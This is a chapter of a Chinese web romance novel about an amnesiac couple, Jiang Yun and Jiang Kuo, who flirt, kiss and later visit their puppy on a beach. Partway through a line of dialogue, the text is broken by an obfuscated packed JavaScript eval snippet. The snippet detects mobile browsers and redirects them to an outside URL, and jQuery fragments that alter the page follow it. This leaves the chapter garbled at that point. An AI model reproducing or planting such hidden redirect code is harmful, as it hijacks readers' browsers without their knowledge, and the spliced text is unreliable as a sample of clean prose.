18. 17

作品:《和死对头同时失忆后

    一句再简单不过的话,却犹如千斤重的巨石狠狠砸向江云心口。心脏猛烈地缩动一下,随后便凶猛地撞向四周,次次都落在那堵因他而生的‘安全墙’上,逐渐软了力。


    江阔仰着头,原本严肃的外壳已经完全消失,毫无保留地露出他全部的温柔。


    他眼底的柔雾更浓。


    江云抓着他肩口的衣角迟迟不松,手掌反而越收越紧。眼皮突然有些沉重,她强撑着注视男人,让自己尽量维持着清醒。


    可他眼底的雾快要弥漫至她的心口。


    双眸黏黏糊糊地眨动,她快要陷进他的瞳底。


    “云云,我接受你对我的任何评价,除了在我对你的心意这件事上,因为我很在意你,而且目前,我只对你上心,以后应该也会一直对你上心。”


    他清冽的嗓音继续,混杂着少许缠绵过后的低哑,和她每天晚上入睡前听的尤克里里很像。


    江云的眼皮更沉,她快要挡不住他的温柔攻势。


    她原本只是想让他承认他是为了她去做那些事,想让他及时表达,可他总是这样。


    不鸣则已,一鸣惊人。


    江云抿了抿唇,隔着衣服轻轻捻了捻他的皮肉,气息好不容易恢复平稳,她又迅速瞟了眼他的唇,道:“我只是想让你说出来。”


    她的喉咙又干又涩,声音被迫压得很低,没什么气势,却足以让江阔听进去。


    他又凑上前,在她的唇上轻啄一口,指腹在江云的眉头滑过,顺着往下,最后停在她的眼尾:“我能为你做到的力所能及的事,是不需要拿出来说的,云云,你只需要知道,我是乐意的,就够了。”


    眼尾的温度穿透皮肉,细微却又不可忽视的电流从眼睑窜过,江云感觉尾椎隐隐发麻,浑身的肌肉也跟着战栗。


    她的本能防备在他面前彻底失去了作用,她完全沉陷在他的眼眸中了。


    江云仿佛瞬间掉进了清润的琥珀海中,全身顷刻被里面藏着的温柔浸润,彻底激发了她尾椎的酥麻,直至牵动全身的神经跟着兴奋。


    细细密密的电流在身体各处窜行,触发了她所有的身体本能。江云的身子轻轻发颤,心脏不再无章法,而是顺着节律加速跳动。


    她好像已经能感受到,她对这个男人的感情。


    心口逐渐发软,她稍稍急迫,想再感受得清楚些。可没等情愫绵延,她已经被迫从琥珀海里抽身。


    江阔补充道:“如果你觉得不够,我们也可以换一种方式,比如一个蜜饯的条件再加一项。”


    江云的嘴角骤凝,她不明所以:“什么?”


    一个蜜饯一个吻她都觉得快超标了,还能加什么?


    江阔的眼神清清楚楚地在她的眸光里变化。


    江云气息倏然停顿,觉得这副模样很熟悉。


    下一秒,江阔再一次刷新了她的认知底线:“一个蜜饯,一个吻,再加一次。”


    “……”


    他一点煽情的余地都没给她留。


    江云才对他产生的所谓的意乱情迷在此刻完全抓不到一点痕迹。


    沉陷进去的目光也在顷刻抽离。


    她极力压制发烫的脸颊,不顾疼痛,只想快些从他腿上下来,人却被他死死缠住。


    “你这是耍赖!”江云挣脱不开,两只手便去拧他肩头的肉,偏偏他忍耐力也强,她手指都快掐疼,他却只是皱了皱眉。


    江云觉得自己完全就是掘地自焚。


    他付出型人格就让他付出好了,她不喜欢憋在心里大不了就忍一下,这下倒好,给自己坑完了。


    偏偏挖坑的人还一点不害臊,腆着脸道:“我哪有?你放心,我很明智的,吻可以当下开始结算,其他的等我们伤好回城之后。”


    “……那我是不是还得表扬你真贴心?”江云几乎咬着牙开口。


    她发誓,以后绝对不会再轻易招惹他了!


    这人完全就是给一点阳光就灿烂,明明刚醒来那会还是分寸感那么强的一个人,现在他已经完全忘记那三个字怎么写了!


    江阔又收紧了手臂,江云几乎快贴在他身上,两条腿下意识勾上了他的小腿,却蓦然显得更加暧昧怪异。


    他笑道:“表扬就不用了,毕竟……”


    他故意拖长话音,眼底的邪气侵占了满眸的温柔,给原有的纯粹披上了一层不羁的情潮。


    江云狠狠一僵——


    这个眼神很陌生,却又好熟悉。


    这段日子她头一回见到他这种眼神。


    她还以为古板的人都会循规蹈矩,她没想到他会有这样一面:


    从他的眸子里迸出了一种洒脱的光芒,掺杂着他的柔情,又不受任何约束,仿佛随时都能轻易地跳脱任何框架,自由无拘。


    心口莫名抽了一下。


    她很喜欢这种感觉。


    确切地说,她很向往这种感觉。


    所以这也是她看中他的原因之一吗?


    可惜江云没有很多时间思考。


    江阔的后半句话已经出口:“爱不是说出来的。”


    “而是做出来的。”


    “……你信不信我原地跟你离婚?”江云实在没忍住,给了他一小巴掌。


    可她还是把他想得太简单。


    他眼底的邪气瞬间消失,又爬上了另一种柔和,不是温柔的柔,是‘柔弱’的柔。


    江阔委屈巴巴道:“刚才还说想知道我都做了哪些事,现在就翻脸不认人了,没事,我委屈就委屈呗,婚姻嘛,总是要有一个人受点委屈的,没事,我真没事。”


    话虽这么说,他手上禁锢她的力量一点没小。


    “……”


    江云真的很想赶快恢复记忆,想知道自己到底从哪找了这么一个极品老公。


    他不松手,她逃不掉,两相僵持,江云泄愤般紧捏他的耳垂,字句完全是从齿缝里挤出来:“江阔,你不仅仅是心眼子多,你还是个死绿茶!”


    然而男人真的像他说的那样,丝毫不在意她对他除了感情以外的任何评价,甚至仍保持着享受的神色。


    他摇头说:“是什么不重要,只要是你老公就行,其他的名头,你想怎么安就怎么安。”


    “……”


    江云没招了。


    他又往前,将两人之间的距离拉到只剩半个拳头。


    江云后缩下巴,眸光警惕:“你干嘛?”


    “今天的奖励吻你还没给我。”男人明晃晃地盯着她的唇:“加上今天你吃的8个蜜饯,还欠我21个吻。”


    江云诧异:“你刚刚不是才亲了?”


    “那是你污蔑我的惩罚吻,那不算。”


    “你……”


    江云驳斥的话没来得及出口便已经被他吞入腹中。她想反抗的情绪也在双唇交叠的那一瞬间消失殆尽。


    不过两秒,她就又被卷入熟悉的情潮里,江阔的气息混入鼻间的那一刻,她又开始本能地汲取他的味道。


    浓烈的多巴胺极速分泌,江云最后没把持住,主动抱紧了他。


    算了,反正她也挺喜欢,亲就亲吧。


    ……


    暧昧的气氛终于在夜深人静时消散。


    江云像往常那样靠在江阔怀里,突然想起来书的事。


    “你把《无声告白》拿走了吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958114|193223||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?我还想接着看呢。”她问。


    江阔没有避讳,实话实说:“那本书太压抑了,想看以后再看吧,现在最重要的是养伤。”


    养伤最重要的就是保持身心愉悦。


    江云没强要,江阔说的没错,她也不确定再看那本书会不会有情绪失控的状况。


    只是那天乍然忆起的那句话还是会浮现在脑海中。


    那位老人到底是谁?


    还有她的哥哥……


    思绪没来得及蔓延,江阔突然说:“等你能下床了,我们就去看白白吧?它很久没看见你了。”


    江云即刻回神:“好啊。”


    停在脑中的困惑悄然移走,江云又顾着和江阔夜谈,把那些乱七八糟的思绪全都抛了个干净。


    ……


    两天后,江云能下床了。


    伤口也消了炎,基本没什么痛感。


    她和江阔如约,去了海滩的老地方。


    那棵孤独的树模样未变,江云循着身体记忆,熟悉地靠在树干边。


    才坐下,一道圆滚滚的小身影就往她怀里蹿过来。


    江云又惊又喜,短暂的惊神之后,她顺势接过了白白,把它圈在了怀里。


    “想我了吗?”怀里的毛茸茸兴奋打滚,她的声音也忍不住往上扬。


    白白哼唧两声,又往她胸口蹭了蹭,粉嫩的舌头呆愣愣地舔了舔鼻尖。


    江云眉眼弯起,脸上的笑意明显,从江阔放下的篮子里拿了块水煮菜,送到白白嘴边。


    它也十分给面子,小巧的嘴一口咬住脆嫩的菜叶,三两口吃完,然后又拱了拱她的手掌。


    “真的好可爱。”江云揉着它毛茸茸的脑袋道。


    这种有灵性的小动物恰好能引起她的兴趣,还能填补失忆给她带来的空虚。


    江阔接着给白白喂食:“到时候离开,我想把它也带走。”


    江云猝然转头,带着喜色的眸中含着几分诧异:“真的?”


    江阔嗯了一声,说他们离开了它在这没人照顾怪可怜的,他也不忍心看到自己养过一阵的小狗被饿死在这里。


    “那我们家里应该会很热闹了,有那两棵树,还有白白,到时候再带点洱南的特色离开。”江云下意识畅想。


    话音刚落,身旁男人的神色明显一喜,深褐色中央的稍微发黑的瞳孔紧缩,迅速往外漾开欣喜的光。


    他稍稍不可置信,嘴角又没忍住往上牵拉,倏然迸开一声畅快的笑:“你还记得?”


    “记得什么?”江云没反应过来。


    “两棵树。”


    江云在脑海中过了一圈,心想他说种树这事也没过多久,不自觉反驳:“我是失忆,又不是痴呆,当然记得。”


    男人笑得更肆意,浑然不掩饰。


    江云还是没懂他在笑什么:“有那么好笑?”


    他又摇头,继续喂白白,嘴边的笑意不减。


    江云觉得他莫名其妙,没再继续纠结这个问题。


    她又重新畅想。


    距离回家的日子应该越来越近了,等她的伤口结痂,就和江阔一起走。


    离开……


    她还真有些舍不得。


    她侧眸,视线停在男人身上。


    他还在给白白喂食。


    至少这段日子的美好是真的。


    她也不知道以后会不会再有这样的时光。


    江云的手不知道什么时候挪到了颈前,缓缓握紧那支竹音哨。


    “江阔。”她突然开口。


    男人把手里的水喂给白白,应了一声。


    “我们要不要再做一个定情信物?”